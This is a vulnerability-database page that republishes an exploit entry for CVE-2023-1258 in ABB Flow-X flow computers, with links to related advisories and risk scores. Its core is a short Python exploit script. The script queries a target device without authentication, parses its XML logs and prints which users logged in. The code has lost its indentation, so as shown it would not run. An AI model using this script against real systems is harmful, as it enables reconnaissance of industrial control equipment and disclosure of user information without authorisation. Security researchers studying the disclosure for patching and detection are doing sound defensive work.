Lucene search
K

ABB FlowX 4.00 Information Disclosure

🗓️ 20 Jul 2023 00:00:00Reported by Paul SmithType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 253 Views

ABB FlowX v4.00 Information Disclosur

Related
Code
ReporterTitlePublishedViews
Family
0day.today
ABB FlowX v4.00 - Exposure of Sensitive Information Exploit
19 Jul 202300:00
zdt
Circl
CVE-2023-1258
31 Mar 202312:22
circl
CNNVD
ABB Flow-X 信息泄露漏洞
31 Mar 202300:00
cnnvd
CVE
CVE-2023-1258
31 Mar 202307:56
cve
Cvelist
CVE-2023-1258 Flow-X disclosure of sensitive information to unauthenticated users
31 Mar 202307:56
cvelist
Exploit DB
ABB FlowX v4.00 - Exposure of Sensitive Information
19 Jul 202300:00
exploitdb
EUVD
EUVD-2023-23527
3 Oct 202520:07
euvd
NVD
CVE-2023-1258
31 Mar 202308:15
nvd
Prion
Code injection
31 Mar 202308:15
prion
Positive Technologies
PT-2023-9783 · Abb · Flow-X
21 Mar 202300:00
ptsecurity
Rows per page
`# Exploit Title: ABB FlowX v4.00 - Exposure of Sensitive Information  
# Date: 2023-03-31  
# Exploit Author: Paul Smith  
# Vendor Homepage: https://new.abb.com/products/measurement-products/flow-computers/spirit-it-flow-x-series  
# Version: ABB Flow-X all versions before V4.00  
# Tested on: Kali Linux  
# CVE: CVE-2023-1258  
  
  
#!/usr/bin/python  
import sys  
import re  
from bs4 import BeautifulSoup as BS  
import lxml  
import requests  
  
# Set the request parameter  
url = sys.argv[1]  
  
  
def dump_users():  
response = requests.get(url)  
  
# Check for HTTP codes other than 200  
if response.status_code != 200:  
print('Status:', response.status_code, 'Headers:', response.headers, 'Error Response:',response.text)  
exit()  
  
# Decode the xml response into dictionary and use the data  
data = response.text  
soup = BS(data, features="xml")  
logs = soup.find_all("log")  
for log in logs:  
test = re.search('User (.*?) logged in',str(log))  
if test:  
print(test.group(0))  
def main():  
dump_users()  
  
  
if __name__ == '__main__':  
main()  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Jul 2023 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.15.3
EPSS0.13178
SSVC
253